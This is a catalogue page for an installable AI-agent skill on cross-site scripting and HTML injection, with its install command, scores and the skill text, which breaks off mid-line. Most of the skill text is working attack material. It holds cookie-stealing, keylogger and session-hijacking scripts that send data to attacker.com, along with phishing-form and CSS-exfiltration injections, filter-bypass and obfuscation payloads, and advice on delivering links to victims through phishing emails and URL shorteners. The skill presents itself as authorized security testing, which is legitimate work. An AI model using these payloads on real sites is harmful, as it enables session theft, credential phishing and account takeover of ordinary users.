xss-html-injection

This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies".

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Install / Use

npx skills add zebbern/claude-code-guide --skill xss-html-injection

Installs into whichever agent you are using.

About this skill

📄

SKILL.md

Installable skill definition

Quality Score

96/100

Our assessment of xss-html-injection

xss-html-injection scores 96/100 on our quality scale, 171st of 775 Security skills we index (top 23%).

Its SKILL.md is 13 KB long, well organised into 50 sections with 27 code examples: a thorough specification that gives an agent plenty to work with.

With 4,638 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance

30/30

Structure

20/20

Description

15/15

Adoption

16/20

Freshness

15/15

Maintenance, license and trust

The repository was last updated 2 days ago, so xss-html-injection is actively maintained.
It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

xss-html-injection compared with similar skills

All 4 of these similar skills score higher than xss-html-injection; compare them before choosing.

Skill	Score	Stars	Updated	Format
xss-html-injection (this skill)by zebbern	96	4.6k	2d ago	SKILL.md
algorithmic-artby anthropics	100	177.9k	5d ago	SKILL.md
pptxby anthropics	100	177.9k	5d ago	SKILL.md
designby nextlevelbuilder	100	130.2k	7d ago	SKILL.md
ui-ux-pro-maxby nextlevelbuilder	100	130.2k	7d ago	SKILL.md

Frequently asked questions

How do I install xss-html-injection?: Run npx skills add zebbern/claude-code-guide --skill xss-html-injection. The install tabs above show the steps for each supported agent.
Which AI agents does xss-html-injection work with?: It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is xss-html-injection safe to use?: It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is xss-html-injection still maintained?: The repository was last updated 2 days ago, so xss-html-injection is actively maintained.

Skill content

View source on GitHub

name: xss-html-injection description: This skill should be used when the user asks to "test for XSS vulnerabilities", "perform cross-site scripting attacks", "identify HTML injection flaws", "exploit client-side injection vulnerabilities", "steal cookies via XSS", or "bypass content security policies". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications. metadata: author: zebbern version: "1.1"

Cross-Site Scripting and HTML Injection Testing

Purpose

Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.

Inputs / Prerequisites

Required Access

Target web application URL with user input fields
Burp Suite or browser developer tools for request analysis
Access to create test accounts for stored XSS testing
Browser with JavaScript console enabled

Technical Requirements

Understanding of JavaScript execution in browser context
Knowledge of HTML DOM structure and manipulation
Familiarity with HTTP request/response headers
Understanding of cookie attributes and session management

Legal Prerequisites

Written authorization for security testing
Defined scope including target domains and features
Agreement on handling of any captured session data
Incident response procedures established

Outputs / Deliverables

XSS/HTMLi vulnerability report with severity classifications
Proof-of-concept payloads demonstrating impact
Session hijacking demonstrations (controlled environment)
Remediation recommendations with CSP configurations

Core Workflow

Phase 1: Vulnerability Detection

Identify Input Reflection Points

Locate areas where user input is reflected in responses:

# Common injection vectors
- Search boxes and query parameters
- User profile fields (name, bio, comments)
- URL fragments and hash values
- Error messages displaying user input
- Form fields with client-side validation only
- Hidden form fields and parameters
- HTTP headers (User-Agent, Referer)

Basic Detection Testing

Insert test strings to observe application behavior:

<!-- Basic reflection test -->
<test123>

<!-- Script tag test -->
<script>alert('XSS')</script>

<!-- Event handler test -->
<img src=x onerror=alert('XSS')>

<!-- SVG-based test -->
<svg onload=alert('XSS')>

<!-- Body event test -->
<body onload=alert('XSS')>

Monitor for:

Raw HTML reflection without encoding
Partial encoding (some characters escaped)
JavaScript execution in browser console
DOM modifications visible in inspector

Determine XSS Type

Stored XSS Indicators:

Input persists after page refresh
Other users see injected content
Content stored in database/filesystem

Reflected XSS Indicators:

Input appears only in current response
Requires victim to click crafted URL
No persistence across sessions

DOM-Based XSS Indicators:

Input processed by client-side JavaScript
Server response doesn't contain payload
Exploitation occurs entirely in browser

Phase 2: Stored XSS Exploitation

Identify Storage Locations

Target areas with persistent user content:

- Comment sections and forums
- User profile fields (display name, bio, location)
- Product reviews and ratings
- Private messages and chat systems
- File upload metadata (filename, description)
- Configuration settings and preferences

Craft Persistent Payloads

<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>

<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
  new Image().src='http://attacker.com/log?k='+e.key;
}
</script>

<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
  method:'POST',
  body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script>

<!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>

Phase 3: Reflected XSS Exploitation

Construct Malicious URLs

Build URLs containing XSS payloads:

# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>

# URL-encoded payload
https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E

# Event handler in parameter
https://target.com/page?name="><img src=x onerror=alert(1)>

# Fragment-based (for DOM XSS)
https://target.com/page#<script>alert(1)</script>

Delivery Methods

Techniques for delivering reflected XSS to victims:

1. Phishing emails with crafted links
2. Social media message distribution
3. URL shorteners to obscure payload
4. QR codes encoding malicious URLs
5. Redirect chains through trusted domains

Phase 4: DOM-Based XSS Exploitation

Identify Vulnerable Sinks

Locate JavaScript functions that process user input:

// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()

Identify Sources

Locate where user-controlled data enters the application:

// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage

DOM XSS Payloads

// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>

// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>

// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>

Phase 5: HTML Injection Techniques

Reflected HTML Injection

Modify page appearance without JavaScript:

<!-- Content injection -->
<h1>SITE HACKED</h1>

<!-- Form hijacking -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>

<!-- CSS injection for data exfiltration -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style>

<!-- iframe injection -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>

Stored HTML Injection

Persistent content manipulation:

<!-- Marquee disruption -->
<marquee>Important Security Notice: Your account is compromised!</marquee>

<!-- Style override -->
<style>body{background:red !important;}</style>

<!-- Hidden content with CSS -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>

Phase 6: Filter Bypass Techniques

Tag and Attribute Variations

<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>

<!-- Alternative tags -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)>

<!-- Malformed tags -->
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">

Encoding Bypass

<!-- HTML entity encoding -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>

<!-- Hex encoding -->
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>

<!-- Unicode encoding -->
<script>\u0061lert(1)</script>

<!-- Mixed encoding -->
<img src=x onerror=\u0061\u006cert(1)>

JavaScript Obfuscation

// String concatenation
<script>eval('al'+'ert(1)')</script>

// Template literals
<script>alert`1`</script>

// Constructor execution
<script>[].constructor.constructor('alert(1)')()</script>

// Base64 encoding
<script>eval(atob('YWxlcnQoMSk='))</script>

// Without parentheses
<script>alert`1`</script>
<script>throw/a]a]/.source+onerror=alert</script>

Whitespace and Comment Bypass

<!-- Tab/newline insertion -->
<img src=x	onerror
=alert(1)>

<!-- JavaScript comments -->
<script>/**/alert(1)/**/</script>

<!-- HTML comments in attributes -->
<img src=x onerror="alert(1)"<!--comment-->

Quick Reference

XSS Detection Checklist

1. Insert <script>alert(1)</script> → Check execution
2. Insert <img src=x onerror=alert(1)> → Check event handler
3. Insert "><script>alert(1)</script> → Test attribute escape
4. Insert javascript:alert(1) → Test href/src attributes
5. Check URL hash handling → DOM XSS potential

Common XSS Payloads

| Context | Payload | |---------|---------| | HTML body | <script>alert(1)</script> | | HTML attribute | "><script>alert(1)</script> | | JavaScript string | ';alert(1)// | | JavaScript template | ${alert(1)} | | URL attribute | javascript:alert(1) | | CSS context | </style><script>alert(1)</script> | | SVG context | <svg onload=alert(1)> |

Cookie Theft Payload

<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>

Session Hijacking Template

<script>
fetch('https://attacker.com/log',{
  method:'POST',
  mode:'no-cors',
  body:JSON.stringify({
    cookies:document.cookie,
    localStorage:JSON.stringify(localStorage),
    url:location.href
  })
});
</script>

Constraints and Guardrails

Operational Boundaries

Never inject payloads that could damage production systems
Limit cookie/session capture to demonstration purposes only
Avoid payloads that could spread to unintended users (worm behavior)
Do not exfiltrate real user data beyond scope requirements

Technical Limitations

Content Security Policy (CSP) may block inline scripts
HttpOnly cookies prevent JavaScript access
SameSite cookie attributes limit cross-origin attacks
Modern frameworks often auto-escape outputs

Legal and Ethical Requirements

Written authorization required before testing
Report critical XSS vulnerabilities immediately
Handle captured credentials per data protection agreements
Do not use discovered vulnerabilities for unauthorized access

Examples

Example 1: Stored XSS in Comment Section

Scenario: Blog comment feature vulnerable to stored XSS

Detection:

POST /api/comments
Content-Type: application/json

{"body": "<script>alert('XSS')</script>", "postId": 123}

Observation: Comment renders and script executes for all viewers

Exploitation Payload:

<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Result: Every user viewing the comment has their session cookie sent to attacker's server.

Example 2: Reflected XSS via Search Parameter

Scenario: Search results page reflects query without encoding

Vulnerable URL:

https://shop.example.com/search?q=test

Detection Test:

https://shop.example.com/search?q=<script>alert(document.domain)</script>

Crafted Attack URL:

https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E

Delivery: URL sent via phishing email to target user.

Example 3: DOM-Based XSS via Hash Fragment

Scenario: JavaScript reads URL hash and inserts into DOM

Vulnerable Code:

document.getElementById('welcome').innerHTML = 'Hello, ' + loca

Truncated for display — read the full file on GitHub.

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zebbern

View profile

View on GitHub

GitHub Stars4.6k

CategorySecurity

Updated2d ago

Forks469

zebbern/xss-html-injection

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions